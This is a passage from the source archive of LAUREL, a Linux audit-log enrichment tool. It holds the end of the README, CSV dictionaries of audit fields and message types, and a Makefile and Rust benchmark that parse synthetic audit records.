source because _LAUREL_ runs on the host where the audit events are generated. Events are enriched with useful information about the parent process (ppid): ``` "PPID":{"EVENT_ID":"1643635026.276:327308","comm":"sh","exe":"/usr/bin/dash","ppid":3190631} ``` ## Documentation Configuration and operational details are described in the [laurel(8)](man/laurel.8.md) manual page. Details about the log format and rationales can be found in the [laurel-about(7)](man/laurel-about.7.md) manual page. The [_LAUREL_ installation instructions](INSTALL.md) contain instructions on how to build _LARUEL_ from source and how to install and configure it. We developed _LAUREL_ because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to the [Performance](performance.md) document for details. ## Container Image From v0.5.2 on laurel is able to connect to a socket for forwarded auditd messages and can be executed in a container this way. A basic container image is published in this repository to `ghcr.io/threathunters-io/laurel` with tags `latest` and the respective version tag. The provided container image build includes default labels via docker buildx from the pipeline. These labels are not included in the provided Dockerfile but are considered good practice. If you use a custom build with another tooling, consider adding the default labels to the Dockerfile. The provided container image contains the default configuration, with one modification: Laurel connects to `/var/run/audispd_events` (the default path specified for the `builtin_af_unix` _auditd(8)_ plug-in. The plug-in needs to be enabled and the socket must be accessible from within the container. The rest of the configuration file should be customized as needed before deploying. ## License GNU General Public License, version 3 ## Authors - Hilko Bengen <> - Sergej Schmidt <> The logo was created by Birgit Meyer <>. laurel-0.5.6/audit-specs/README.md000064400000000000000000000002601046102023000146160ustar 00000000000000The tables in the _fields_ and _messages_ subdirectories have been copied from the [Linux-audit documentation](https://github.com/linux-audit/audit-documentation) repository. laurel-0.5.6/audit-specs/fields/field-dictionary.csv000064400000000000000000000265571046102023000205710ustar 00000000000000NAME,FORMAT,MEANING,EXCEPTION a[0-3],numeric hexadecimal,the arguments to a syscall,syscall a[[:digit:]+]\[.*\],encoded,the arguments to the execve syscall,execve acct,encoded,a user's account name, acl,alphabet,access mode of resource assigned to vm, action,numeric,netfilter packet disposition, added,numeric,number of new files detected, addr,encoded,the remote address that the user is connecting from, apparmor,encoded,apparmor event information, arch,numeric hexadecimal,the elf architecture flags, argc,numeric decimal,the number of arguments to an execve syscall, audit_backlog_limit,numeric decimal,audit system's backlog queue size, audit_backlog_wait_time,numeric decimal,audit system's backlog wait time, audit_enabled,numeric decimal,audit systems's enable/disable status, audit_failure,numeric decimal,audit system's failure mode, auid,numeric decimal,login user ID, banners,alphanumeric,banners used on printed page, bool,alphanumeric,name of SELinux boolean, bus,alphanumeric,name of subsystem bus a vm resource belongs to, capability,numeric decimal,posix capabilities, cap_fe,numeric decimal,file assigned effective capability map, cap_fi,numeric hexadecimal,file inherited capability map, cap_fp,numeric hexadecimal,file permitted capability map, cap_fver,numeric hexadecimal,file system capabilities version number, cap_pa,numeric hexadecimal,process ambient capability map, cap_pe,numeric hexadecimal,process effective capability map, cap_pi,numeric hexadecimal,process inherited capability map, cap_pp,numeric hexadecimal,process permitted capability map, category,alphabet,resource category assigned to vm, cgroup,encoded,path to cgroup in sysfs, changed,numeric decimal,number of changed files, cipher,alphanumeric,name of crypto cipher selected, class,alphabet,resource class assigned to vm, cmd,encoded,command being executed, code,numeric hexadecimal,seccomp action code, comm,encoded,command line program name, compat,numeric decimal,is_compat_task result, cwd,encoded,the current working directory, daddr,alphanumeric,remote IP address, data,encoded,TTY text, default-context,alphanumeric,default MAC context, dev,numeric,in path records,major and minor for device dev,alphanumeric,device name as found in /dev,avc device,encoded,device name, dir,encoded,directory name, direction,alphanumeric,direction of crypto operation, dmac,numeric,remote MAC address, dport,numeric decimal,remote port number, egid,numeric decimal,effective group ID, enforcing,numeric decimal,new MAC enforcement status, entries,numeric decimal,number of entries in the netfilter table, errno,numeric decimal,error code of the audited operation, euid,numeric decimal,effective user ID, exe,encoded,executable name, exit,numeric decimal,syscall exit code, fam,alphanumeric,socket address family, family,numeric decimal,netfilter protocol, fd,numeric decimal,file descriptor number, file,encoded,file name, flags,numeric hexadecimal,mmap syscall flags, fe,numeric decimal,file assigned effective capability map, feature,alphanumeric,kernel feature being changed, fi,numeric hexadecimal,file assigned inherited capability map, fp,numeric hexadecimal,file assigned permitted capability map, fp,alphanumeric,crypto key finger print,crypto_key format,alphanumeric,audit log's format, fsgid,numeric decimal,file system group ID, fsuid,numeric decimal,file system user ID, fver,numeric hexadecimal,file system capabilities version number, gid,numeric decimal,group ID, grantors,alphanumeric,pam modules approving the action, grp,encoded,group name, hook,numeric,netfilter hook that packet came from, hostname,alphanumeric,the hostname that the user is connecting from, icmp_type,numeric,type of icmp message, id,numeric,during account changes,the user ID of the account igid,numeric decimal,ipc object's group ID, img-ctx,alphanumeric,the vm's disk image context string, inif,numeric,in interface number, ip,alphanumeric,network address of a printer, ipid,numeric decimal,IP datagram fragment identifier, ino,numeric decimal,inode number, inode,numeric decimal,inode number, inode_gid,numeric decimal,group ID of the inode's owner, inode_uid,numeric decimal,user ID of the inode's owner, invalid_context,encoded,SELinux context, ioctlcmd,numeric hexadecimal,The request argument to the ioctl syscall, ipx-net,numeric,IPX network number, item,numeric decimal,which item is being recorded, items,numeric decimal,the number of path records in the event, iuid,numeric decimal,ipc object's user ID, kernel,alphanumeric,kernel's version number, key,encoded,key assigned from triggered audit rule, kind,alphabet,server or client in crypto operation, ksize,numeric,key size for crypto operation, laddr,alphanumeric,local network address, len,numeric decimal,length, lport,numeric decimal,local network port, list,numeric decimal,the audit system's filter list number, mac,alphanumeric,crypto MAC algorithm selected, macproto,numeric,ethernet packet type ID field, maj,numeric,device major number, major,numeric decimal,device major number, minor,numeric decimal,device minor number, mode,numeric octal,mode flags on a file, model,alphanumeric,security model being used for virt, msg,alphanumeric,the payload of the audit record, nargs,numeric decimal,the number of arguments to a socket call, name,encoded,file name in avcs, nametype,alphabet,kind of file operation being referenced, net,alphanumeric,network MAC address, new,numeric,value being set in feature, new-chardev,encoded,new character device being assigned to vm, new-disk,encoded,disk being added to vm, new-enabled,numeric decimal,new TTY audit enabled setting, new-fs,encoded,file system being added to vm, new_gid,numeric decimal,new group ID being assigned, new-level,alphanumeric,new run level, new_lock,numeric decimal,new value of feature lock, new-log_passwd,numeric decimal,new value for TTY password logging, new-mem,numeric,new amount of memory in KB, new-net,encoded,MAC address being assigned to vm, new_pe,numeric,new process effective capability map(deprec), new_pi,numeric,new process inherited capability map(deprec), new_pp,numeric,new process permitted capability map(deprec), new-range,alphanumeric,new SELinux range, new-rng,encoded,device name of rng being added from a vm, new-role,alphanumeric,new SELinux role, new-seuser,alphanumeric,new SELinux user, new-vcpu,numeric,new number of CPU cores, nlnk-fam,numeric,netlink protocol number, nlnk-grp,numeric,netlink group number, nlnk-pid,numeric decimal,pid of netlink packet sender, oauid,numeric decimal,object's login user ID, obj,alphanumeric,lspp object context string, obj_gid,numeric decimal,group ID of object, obj_uid,numeric decimal,user ID of object, oflag,numeric,open syscall flags, ogid,numeric decimal,file owner group ID, ocomm,encoded,object's command line name, old,numeric,present value of kernel feature, old,numeric,old value,audit_enabled audit_backlog audit_failure value old-auid,numeric decimal,previous auid value, old-chardev,encoded,present character device assigned to vm, old-disk,encoded,disk being removed from vm, old-enabled,numeric decimal,present TTY audit enabled setting, old_enforcing,numeric decimal,old MAC enforcement status, old-fs,encoded,file system being removed from vm, old-level,alphanumeric,old run level, old_lock,numeric decimal,present value of feature lock, old-log_passwd,numeric decimal,present value for TTY password logging, old-mem,numeric,present amount of memory in KB, old-net,encoded,present MAC address assigned to vm, old_pa,numeric hexadecimal,old process ambient capability map, old_pe,numeric hexadecimal,old process effective capability map, old_pi,numeric hexadecimal,old process inherited capability map, old_pp,numeric hexadecimal,old process permitted capability map, old_prom,numeric decimal,network promiscuity flag, old-range,alphanumeric,present SELinux range, old-rng,encoded,device name of rng being removed from a vm, old-role,alphanumeric,present SELinux role, old-ses,numeric decimal,previous ses value, old-seuser,alphanumeric,present SELinux user, old_val,numeric decimal,current value of SELinux boolean, old-vcpu,numeric,present number of CPU cores, op,alphanumeric,the operation being performed that is audited, opid,numeric decimal,object's process ID, oses,numeric decimal,object's session ID, ouid,numeric decimal,file owner user ID, outif,numeric,out interface number, pa,numeric hexadecimal,process ambient capability map, pe,numeric hexadecimal,process effective capability map, pi,numeric hexadecimal,process inherited capability map, pp,numeric hexadecimal,process permitted capability map, parent,numeric,the inode number of the parent file, path,encoded,file system path name, per,numeric hexadecimal,linux personality, perm,numeric,the file permission being used, perm_mask,numeric,file permission mask that triggered a watch event, permissive,numeric decimal,SELinux is in permissive mode, pfs,alphanumeric,perfect forward secrecy method, pid,numeric decimal,process ID, ppid,numeric decimal,parent process ID, printer,alphanumeric,printer name, prom,numeric decimal,network promiscuity flag, proctitle,encoded,process title and command line parameters, proto,numeric decimal,network protocol, qbytes,numeric hexadecimal,ipc objects quantity of bytes, range,alphanumeric,user's SE Linux range, rdev,numeric,the device identifier (special files only), reason,alphanumeric,text string denoting a reason for the action, removed,numeric,number of deleted files, res,numeric decimal,result of the audited operation(success/fail), resrc,alphanumeric,resource being assigned, result,alphanumeric,result of the audited operation(success/fail), role,alphanumeric,user's SELinux role, rport,numeric decimal,remote port number, saddr,encoded,struct socket address structure, sauid,numeric decimal,sent login user ID, scontext,alphanumeric,the subject's context string, selected-context,alphanumeric,new MAC context assigned to session, seperm,alphanumeric,SELinux permission being decided on, seqno,numeric decimal,sequence number, seperms,alphabet,SELinux permissions being used, seresult,alphabet,SELinux AVC decision granted/denied, ses,numeric decimal,login session ID, seuser,alphanumeric,user's SE Linux user acct, sgid,numeric decimal,set group ID, sig,numeric decimal,signal number, sigev_signo,numeric decimal,signal number, smac,numeric,local MAC address, spid,numeric decimal,sent process ID, sport,numeric decimal,local port number, state,alphanumeric,audit daemon configuration resulting state, subj,alphanumeric,lspp subject's context string, success,alphanumeric,whether the syscall was successful or not, suid,numeric decimal,sent user ID, syscall,numeric decimal,syscall number in effect when the event occurred, table,alphanumeric,netfilter table name, tclass,alphanumeric,target's object classification, tcontext,alphanumeric,the target's or object's context string, terminal,alphanumeric,terminal name the user is running programs on, tty,alphanumeric,tty udevice the user is running programs on, type,alphanumeric,the audit record's type, uid,numeric decimal,user ID, unit,alphanumeric,systemd unit, uri,alphanumeric,URI pointing to a printer, user,alphanumeric,account submitted for authentication, uuid,alphanumeric,a UUID, val,alphanumeric,generic value associated with the operation, val,numeric decimal,new value of SELinux boolean, ver,numeric,audit daemon's version number, virt,alphanumeric,kind of virtualization being referenced, vm,encoded,virtual machine name, vm-ctx,alphanumeric,the vm's context string, vm-pid,numeric decimal,vm's process ID, watch,encoded,file name in a watch record, laurel-0.5.6/audit-specs/messages/message-dictionary.csv000064400000000000000000000324361046102023000214640ustar 00000000000000MACRO NAME,VALUE,ORIGIN,CLASS,DESCRIPITON AUDIT_GET,1000,USER,CTL,Get status AUDIT_SET,1001,USER,CTL,Set status (enable/disable/auditd) AUDIT_LIST,1002,USER,DEP,List syscall rules -- deprecated AUDIT_ADD,1003,USER,DEP,Add syscall rule -- deprecated AUDIT_DEL,1004,USER,DEP,Delete syscall rule -- deprecated AUDIT_USER,1005,USER,DEP,Message from userspace -- deprecated AUDIT_LOGIN,1006,KERN,IND,Define the login ID and information AUDIT_WATCH_INS,1007,USER,DEP,Insert file/dir watch entry AUDIT_WATCH_REM,1008,USER,DEP,Remove file/dir watch entry AUDIT_WATCH_LIST,1009,USER,DEP,List all file/dir watches AUDIT_SIGNAL_INFO,1010,USER,CTL,Get info about sender of signal to auditd AUDIT_ADD_RULE,1011,USER,CTL,Add syscall filtering rule AUDIT_DEL_RULE,1012,USER,CTL,Delete syscall filtering rule AUDIT_LIST_RULES,1013,USER,CTL,List syscall filtering rules AUDIT_TRIM,1014,USER,CTL,Trim junk from watched tree AUDIT_MAKE_EQUIV,1015,USER,CTL,Append to watched tree AUDIT_TTY_GET,1016,USER,CTL,Get TTY auditing status AUDIT_TTY_SET,1017,USER,CTL,Set TTY auditing status AUDIT_SET_FEATURE,1018,USER,CTL,Turn an audit feature on or off AUDIT_GET_FEATURE,1019,USER,CTL,Get which features are enabled AUDIT_USER_AUTH,1100,USER,IND,User system access authentication AUDIT_USER_ACCT,1101,USER,IND,User system access authorization AUDIT_USER_MGMT,1102,USER,IND,User account attribute change AUDIT_CRED_ACQ,1103,USER,IND,User credential acquired AUDIT_CRED_DISP,1104,USER,IND,User credential disposed AUDIT_USER_START,1105,USER,IND,User session start AUDIT_USER_END,1106,USER,IND,User session end AUDIT_USER_AVC,1107,USER,IND,User space AVC (Access Vector Cache) message AUDIT_USER_CHAUTHTOK,1108,USER,IND,User account password or PIN changed AUDIT_USER_ERR,1109,USER,IND,User account state error AUDIT_CRED_REFR,1110,USER,IND,User credential refreshed AUDIT_USYS_CONFIG,1111,USER,IND,User space system config change AUDIT_USER_LOGIN,1112,USER,IND,User has logged in AUDIT_USER_LOGOUT,1113,USER,IND,User has logged out AUDIT_ADD_USER,1114,USER,IND,User account added AUDIT_DEL_USER,1115,USER,IND,User account deleted AUDIT_ADD_GROUP,1116,USER,IND,Group account added AUDIT_DEL_GROUP,1117,USER,IND,Group account deleted AUDIT_DAC_CHECK,1118,USER,IND,User space DAC check results AUDIT_CHGRP_ID,1119,USER,IND,User space group ID changed AUDIT_TEST,1120,USER,IND,Used for test success messages AUDIT_TRUSTED_APP,1121,USER,IND,Trusted app msg - freestyle text AUDIT_USER_SELINUX_ERR,1122,USER,IND,SELinux user space error AUDIT_USER_CMD,1123,USER,IND,User shell command and args AUDIT_USER_TTY,1124,USER,IND,Non-ICANON TTY input meaning AUDIT_CHUSER_ID,1125,USER,IND,Changed user ID supplemental data AUDIT_GRP_AUTH,1126,USER,IND,Authentication for group password AUDIT_SYSTEM_BOOT,1127,USER,IND,System boot AUDIT_SYSTEM_SHUTDOWN,1128,USER,IND,System shutdown AUDIT_SYSTEM_RUNLEVEL,1129,USER,IND,System runlevel change AUDIT_SERVICE_START,1130,USER,IND,Service (daemon) start AUDIT_SERVICE_STOP,1131,USER,IND,Service (daemon) stop AUDIT_GRP_MGMT,1132,USER,IND,Group account attribute was modified AUDIT_GRP_CHAUTHTOK,1133,USER,IND,Group account password or PIN changed AUDIT_MAC_CHECK,1134,USER,IND,User space MAC (Mandatory Access Control) decision results AUDIT_ACCT_LOCK,1135,USER,IND,User's account locked by admin AUDIT_ACCT_UNLOCK,1136,USER,IND,User's account unlocked by admin AUDIT_USER_DEVICE,1137,USER,IND,User space hotplug device changes AUDIT_SOFTWARE_UPDATE,1138,USER,IND,Software update event AUDIT_DAEMON_START,1200,USER,IND,Daemon startup record AUDIT_DAEMON_END,1201,USER,IND,Daemon normal stop record AUDIT_DAEMON_ABORT,1202,USER,IND,Daemon error stop record AUDIT_DAEMON_CONFIG,1203,USER,IND,Daemon config change AUDIT_DAEMON_RECONFIG,1204,USER,IND,Auditd should reconfigure AUDIT_DAEMON_ROTATE,1205,USER,IND,Auditd should rotate logs AUDIT_DAEMON_RESUME,1206,USER,IND,Auditd should resume logging AUDIT_DAEMON_ACCEPT,1207,USER,IND,Auditd accepted remote connection AUDIT_DAEMON_CLOSE,1208,USER,IND,Auditd closed remote connection AUDIT_DAEMON_ERR,1209,USER,IND,Auditd internal error AUDIT_SYSCALL,1300,KERN,SC,System call event information AUDIT_FS_WATCH,1301,KERN,DEP,Deprecated AUDIT_PATH,1302,KERN,SC,Filename path information AUDIT_IPC,1303,KERN,SC,System call IPC (Inter-Process Communication) object AUDIT_SOCKETCALL,1304,KERN,SC,System call socketcall arguments AUDIT_CONFIG_CHANGE,1305,KERN,IND,Audit system configuration change AUDIT_SOCKADDR,1306,KERN,SC,System call socket address argument information AUDIT_CWD,1307,KERN,SC,Current working directory AUDIT_EXECVE,1309,KERN,SC,Arguments supplied to the execve system call AUDIT_IPC_SET_PERM,1311,KERN,SC,IPC new permissions record type AUDIT_MQ_OPEN,1312,KERN,SC,POSIX MQ open record type AUDIT_MQ_SENDRECV,1313,KERN,SC,POSIX MQ send/receive record type AUDIT_MQ_NOTIFY,1314,KERN,SC,POSIX MQ notify record type AUDIT_MQ_GETSETATTR,1315,KERN,SC,POSIX MQ get/set attribute record type AUDIT_KERNEL_OTHER,1316,KERN,IND,For use by 3rd party modules AUDIT_FD_PAIR,1317,KERN,SC,Information for pipe and socketpair system calls AUDIT_OBJ_PID,1318,KERN,SC,ptrace target AUDIT_TTY,1319,KERN,IND,Input on an administrative TTY AUDIT_EOE,1320,KERN,CTL,End of multi-record event AUDIT_BPRM_FCAPS,1321,KERN,SC,Information about file system capabilities increasing permissions AUDIT_CAPSET,1322,KERN,SC,Record showing argument to sys_capset setting process-based capabilities AUDIT_MMAP,1323,KERN,SC,Mmap system call file descriptor and flags AUDIT_NETFILTER_PKT,1324,KERN,IND,Packets traversing netfilter chains AUDIT_NETFILTER_CFG,1325,KERN,IND/SC,Netfilter chain modifications AUDIT_SECCOMP,1326,KERN,IND,Secure Computing event AUDIT_PROCTITLE,1327,KERN,SC,Process Title info AUDIT_FEATURE_CHANGE,1328,KERN,IND,Audit feature changed value AUDIT_REPLACE,1329,KERN,CTL,Replace auditd if this probe unanswerd AUDIT_KERN_MODULE,1330,KERN,SC,Kernel Module events AUDIT_FANOTIFY,1331,KERN,SC,Fanotify access decision AUDIT_TIME_INJOFFSET,1332,KERN,SC,Timekeeping offset injected AUDIT_TIME_ADJNTPVAL,1333,KERN,SC,NTP value adjustment AUDIT_BPF,1334,KERN,SC,BPF load/unload AUDIT_EVENT_LISTENER,1335,KERN,SC,audit mcast sock join/part AUDIT_URINGOP,1336,KERN,SC,io_uring operation AUDIT_OPENAT2,1337,KERN,SC,Record showing openat2 how args AUDIT_DM_CTRL,1338,KERN,SC,Device Mapper target control AUDIT_DM_EVENT,1339,KERN,SC,Device Mapper events AUDIT_AVC,1400,KERN,SC,SELinux AVC (Access Vector Cache) denial or grant AUDIT_SELINUX_ERR,1401,KERN,SC,Internal SELinux errors AUDIT_AVC_PATH,1402,KERN,SC,"dentry, vfsmount pair from AVC" AUDIT_MAC_POLICY_LOAD,1403,KERN,SC,SELinux Policy file load AUDIT_MAC_STATUS,1404,KERN,SC,"SELinux mode (enforcing, permissive, off) changed" AUDIT_MAC_CONFIG_CHANGE,1405,KERN,SC,SELinux Boolean value modification AUDIT_MAC_UNLBL_ALLOW,1406,KERN,SC,NetLabel: allow unlabeled traffic AUDIT_MAC_CIPSOV4_ADD,1407,KERN,SC,NetLabel: add CIPSOv4 (Commercial Internet Protocol Security Option) DOI (Domain of Interpretation) entry AUDIT_MAC_CIPSOV4_DEL,1408,KERN,SC,NetLabel: del CIPSOv4 (Commercial Internet Protocol Security Option) DOI (Domain of Interpretation) entry AUDIT_MAC_MAP_ADD,1409,KERN,SC,NetLabel: add LSM (Linux Security Module) domain mapping AUDIT_MAC_MAP_DEL,1410,KERN,SC,NetLabel: del LSM (Linux Security Module) domain mapping AUDIT_MAC_IPSEC_ADDSA,1411,KERN,DEP,Not used AUDIT_MAC_IPSEC_DELSA,1412,KERN,DEP,Not used AUDIT_MAC_IPSEC_ADDSPD,1413,KERN,DEP,Not used AUDIT_MAC_IPSEC_DELSPD,1414,KERN,DEP,Not used AUDIT_MAC_IPSEC_EVENT,1415,KERN,SC,Audit an IPsec event AUDIT_MAC_UNLBL_STCADD,1416,KERN,SC,NetLabel: add a static label AUDIT_MAC_UNLBL_STCDEL,1417,KERN,SC,NetLabel: del a static label AUDIT_MAC_CALIPSO_ADD,1418,KERN,SC,NetLabel: add CALIPSO DOI (Domain of Interpretation) entry AUDIT_MAC_CALIPSO_DEL,1419,KERN,SC,NetLabel: delete CALIPSO DOI (Domain of Interpretation) entry AUDIT_MAC_TASK_CONTEXTS,1420,KERN,SC,Multiple LSM contexts AUDIT_MAC_OBJ_CONTEXTS,1421,KERN,SC,Multiple LSM object contexts AUDIT_AA,1500,KERN,?, AUDIT_APPARMOR_AUDIT,1501,KERN,SC, AUDIT_APPARMOR_ALLOWED,1502,KERN,SC, AUDIT_APPARMOR_DENIED,1503,KERN,SC, AUDIT_APPARMOR_HINT,1504,KERN,SC, AUDIT_APPARMOR_STATUS,1505,KERN,SC, AUDIT_APPARMOR_ERROR,1506,KERN,SC, AUDIT_APPARMOR_KILL,1507,KERN,SC, AUDIT_ANOM_PROMISCUOUS,1700,KERN,SC/IND,Device changed promiscuous mode AUDIT_ANOM_ABEND,1701,KERN,IND,Process ended abnormally AUDIT_ANOM_LINK,1702,KERN,SC?,Suspicious use of file links AUDIT_ANOM_CREAT,1703,KERN,SC?,Suspicious file creation AUDIT_INTEGRITY_DATA,1800,KERN,SC,Data integrity verification AUDIT_INTEGRITY_METADATA,1801,KERN,SC,Metadata integrity verification AUDIT_INTEGRITY_STATUS,1802,KERN,SC,Integrity enable status AUDIT_INTEGRITY_HASH,1803,KERN,SC,Integrity HASH type AUDIT_INTEGRITY_PCR,1804,KERN,SC,PCR (Platform Configuration Register) invalidation messages AUDIT_INTEGRITY_RULE,1805,KERN,SC/IND,Integrity Policy action AUDIT_INTEGRITY_EVM_XATTR,1806,KERN,SC,EVM XATTRS modifications AUDIT_INTEGRITY_POLICY_RULE,1807,KERN,SC,Integrity Policy rule AUDIT_KERNEL,2000,KERN,IND,Kernel audit status AUDIT_ANOM_LOGIN_FAILURES,2100,USER,IND,Failed login limit reached AUDIT_ANOM_LOGIN_TIME,2101,USER,IND,Login attempted at bad time AUDIT_ANOM_LOGIN_SESSIONS,2102,USER,IND,Maximum concurrent sessions reached AUDIT_ANOM_LOGIN_ACCT,2103,USER,IND,Login attempted to watched account AUDIT_ANOM_LOGIN_LOCATION,2104,USER,IND,Login from forbidden location AUDIT_ANOM_MAX_DAC,2105,USER,IND,Max DAC (Discretionary Access Control) failures reached AUDIT_ANOM_MAX_MAC,2106,USER,IND,Max MAC (Mandatory Access Control) failures reached AUDIT_ANOM_AMTU_FAIL,2107,USER,IND,AMTU (Abstract Machine Test Utility) failure AUDIT_ANOM_RBAC_FAIL,2108,USER,IND,RBAC (Role-Based Access Control) self test failure AUDIT_ANOM_RBAC_INTEGRITY_FAIL,2109,USER,IND,RBAC (Role-Based Access Control) file integrity test failure AUDIT_ANOM_CRYPTO_FAIL,2110,USER,IND,Crypto system test failure AUDIT_ANOM_ACCESS_FS,2111,USER,IND,Access of file or directory ended abnormally AUDIT_ANOM_EXEC,2112,USER,IND,Execution of file ended abnormally AUDIT_ANOM_MK_EXEC,2113,USER,IND,Make an executable AUDIT_ANOM_ADD_ACCT,2114,USER,IND,Adding a user account ended abnormally AUDIT_ANOM_DEL_ACCT,2115,USER,IND,Deleting a user account ended abnormally AUDIT_ANOM_MOD_ACCT,2116,USER,IND,Changing an account ended abnormally AUDIT_ANOM_ROOT_TRANS,2117,USER,IND,User became root AUDIT_ANOM_LOGIN_SERVICE,2118,USER,IND,Service acct attempted login AUDIT_RESP_ANOMALY,2200,USER,IND,Anomaly not reacted to AUDIT_RESP_ALERT,2201,USER,IND,Alert email was sent AUDIT_RESP_KILL_PROC,2202,USER,IND,Kill program AUDIT_RESP_TERM_ACCESS,2203,USER,IND,Terminate session AUDIT_RESP_ACCT_REMOTE,2204,USER,IND,User account locked from remote access AUDIT_RESP_ACCT_LOCK_TIMED,2205,USER,IND,User account locked for time AUDIT_RESP_ACCT_UNLOCK_TIMED,2206,USER,IND,User account unlocked from time AUDIT_RESP_ACCT_LOCK,2207,USER,IND,User account was locked AUDIT_RESP_TERM_LOCK,2208,USER,IND,Terminal was locked AUDIT_RESP_SEBOOL,2209,USER,IND,Set an SELinux boolean AUDIT_RESP_EXEC,2210,USER,IND,Execute a script AUDIT_RESP_SINGLE,2211,USER,IND,Go to single user mode AUDIT_RESP_HALT,2212,USER,IND,Take the system down AUDIT_RESP_ORIGIN_BLOCK,2213,USER,IND,Address blocked by iptables AUDIT_RESP_ORIGIN_BLOCK_TIMED,2214,USER,IND,Address blocked for time AUDIT_USER_ROLE_CHANGE,2300,USER,IND,User changed to a new SELinux role AUDIT_ROLE_ASSIGN,2301,USER,IND,Administrator assigned user to SELinux role AUDIT_ROLE_REMOVE,2302,USER,IND,Administrator removed user from SELinux role AUDIT_LABEL_OVERRIDE,2303,USER,IND,Administrator is overriding a SELinux label AUDIT_LABEL_LEVEL_CHANGE,2304,USER,IND,Object level SELinux label modified AUDIT_USER_LABELED_EXPORT,2305,USER,IND,Object exported with SELinux label AUDIT_USER_UNLABELED_EXPORT,2306,USER,IND,Object exported without SELinux label AUDIT_DEV_ALLOC,2307,USER,IND,Device was allocated AUDIT_DEV_DEALLOC,2308,USER,IND,Device was deallocated AUDIT_FS_RELABEL,2309,USER,IND,Filesystem relabeled AUDIT_USER_MAC_POLICY_LOAD,2310,USER,IND,Usersapce daemon loaded SELinux policy AUDIT_ROLE_MODIFY,2311,USER,IND,Administrator modified an SELinux role AUDIT_USER_MAC_CONFIG_CHANGE,2312,USER,IND,Change made to MAC (Mandatory Access Control) policy AUDIT_USER_MAC_STATUS,2313,USER,IND,Userspc daemon enforcing change AUDIT_CRYPTO_TEST_USER,2400,USER,IND,Cryptographic test results AUDIT_CRYPTO_PARAM_CHANGE_USER,2401,USER,IND,Cryptographic attribute change AUDIT_CRYPTO_LOGIN,2402,USER,IND,Cryptographic officer login AUDIT_CRYPTO_LOGOUT,2403,USER,IND,Cryptographic officer logout AUDIT_CRYPTO_KEY_USER,2404,USER,IND,"Create, delete, negotiate cryptographic key identifier" AUDIT_CRYPTO_FAILURE_USER,2405,USER,IND,"Fail decrypt, encrypt or randomize operation" AUDIT_CRYPTO_REPLAY_USER,2406,USER,IND,Cryptographic replay attack detected AUDIT_CRYPTO_SESSION,2407,USER,IND,Parameters set during TLS session establishment AUDIT_CRYPTO_IKE_SA,2408,USER,IND,Parameters related to IKE SA AUDIT_CRYPTO_IPSEC_SA,2409,USER,IND,Parameters related to IPSEC SA AUDIT_VIRT_CONTROL,2500,USER,IND,"Start, Pause, Stop VM" AUDIT_VIRT_RESOURCE,2501,USER,IND,Resource assignment AUDIT_VIRT_MACHINE_ID,2502,USER,IND,Binding of label to VM AUDIT_VIRT_INTEGRITY_CHECK,2503,USER,IND,Guest integrity results AUDIT_VIRT_CREATE,2504,USER,IND,Creation of guest image AUDIT_VIRT_DESTROY,2505,USER,IND,Destruction of guest image AUDIT_VIRT_MIGRATE_IN,2506,USER,IND,Inbound guest migration info AUDIT_VIRT_MIGRATE_OUT,2507,USER,IND,Outbound guest migration info laurel-0.5.6/benches/Makefile000064400000000000000000000007731046102023000141760ustar 00000000000000# Generate benchmark flamegraph like this: # # $ make -f benches/Makefile binary=./target/release/deps/coalesce_execve-76764715a5348906 binary ?= $(error "Set binary variable") FG_DIR ?= ~/src/flamegraph .PHONY: all all: $(binary).svg .PHONY: clean clean: rm -f $(binary).prof $(binary).stacks $(binary).svg .PHONY: view view: $(binary).svg firefox $^ %.svg: %.stacks $(FG_DIR)/flamegraph.pl < $^ > $@.t mv $@.t $@ %.prof: % $< %.stacks: % %.prof google-pprof --collapsed $^ > $@.t mv $@.t $@ laurel-0.5.6/benches/coalesce_execve.rs000064400000000000000000000063461046102023000162230ustar 00000000000000#[macro_use] extern crate bencher; extern crate gperftools; use bencher::Bencher; use gperftools::profiler::PROFILER; use std::process; use laurel::coalesce::Coalesce; fn measure(bench: &mut Bencher, s: bool) { // simulate edr-loadgen behavior: this process simulates many process spawns let ppid = process::id(); let mut sink = std::io::sink(); bench.iter(|| { let mut c = if s { Coalesce::new( |msg| { serde_json::to_writer(&mut sink, &msg).unwrap() } ) } else { Coalesce::new( |_| {} ) }; c.settings.translate_universal = true; c.settings.translate_userdb = true; c.settings.enrich_script = false; for i in 0 .. 1000 { let pid = ppid + 100000 + i; let ms = (i / 1000) % 1000; let seq = i % 1000; for line in &[ format!(r#"node=asdfghjk type=SYSCALL msg=audit(1615114232.{:03}:{:03}): arch=c000003e syscall=59 success=yes exit=0 a0=63b29337fd18 a1=63b293387d58 a2=63b293375640 a3=fffffffffffff000 items=2 ppid={} pid={} auid=1000 uid=1000 gid=1000 euid=1000 suid=1000 fsuid=1000 egid=1000 sgid=1000 fsgid=1000 tty=pts1 ses=1 comm="true" exe="/bin/true" key=(null)ARCH=x86_64 SYSCALL=execve AUID="user" UID="user" GID="user" EUID="user" SUID="user" FSUID="user" EGID="user" SGID="user" FSGID="user" "#, ms, seq, ppid, pid), format!(r#"node=asdfghjk type=EXECVE msg=audit(1615114232.{:03}:{:03}): argc=1 a0="true" "#, ms, seq), format!(r#"node=asdfghjk type=CWD msg=audit(1615114232.{:03}:{:03}): cwd="/home/user/tmp" "#, ms, seq), format!(r#"node=asdfghjk type=PATH msg=audit(1615114232.{:03}:{:03}): item=0 name="/bin/true" inode=261214 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" "#, ms, seq), format!(r#"node=asdfghjk type=PATH msg=audit(1615114232.{:03}:{:03}): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=262146 dev=ca:03 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0OUID="root" OGID="root" "#, ms, seq), format!(r#"node=asdfghjk type=PROCTITLE msg=audit(1615114232.{:03}:{:03}): proctitle="true" "#, ms, seq), format!(r#"node=asdfghjk type=EOE msg=audit(1615114232.{:03}:{:03}): "#, ms, seq), ] { c.process_line(Vec::from(line.as_bytes())).unwrap(); } } }); } fn parse_only(bench: &mut Bencher) { measure(bench, false) } fn parse_serialize(bench: &mut Bencher) { measure(bench, true) } benchmark_group!(b, parse_only, parse_serialize); fn main() { laurel::constants::initialize(); PROFILER .lock() .unwrap() .start(format!("{}.prof", std::env::args().next().unwrap())) .unwrap(); let test_opts = 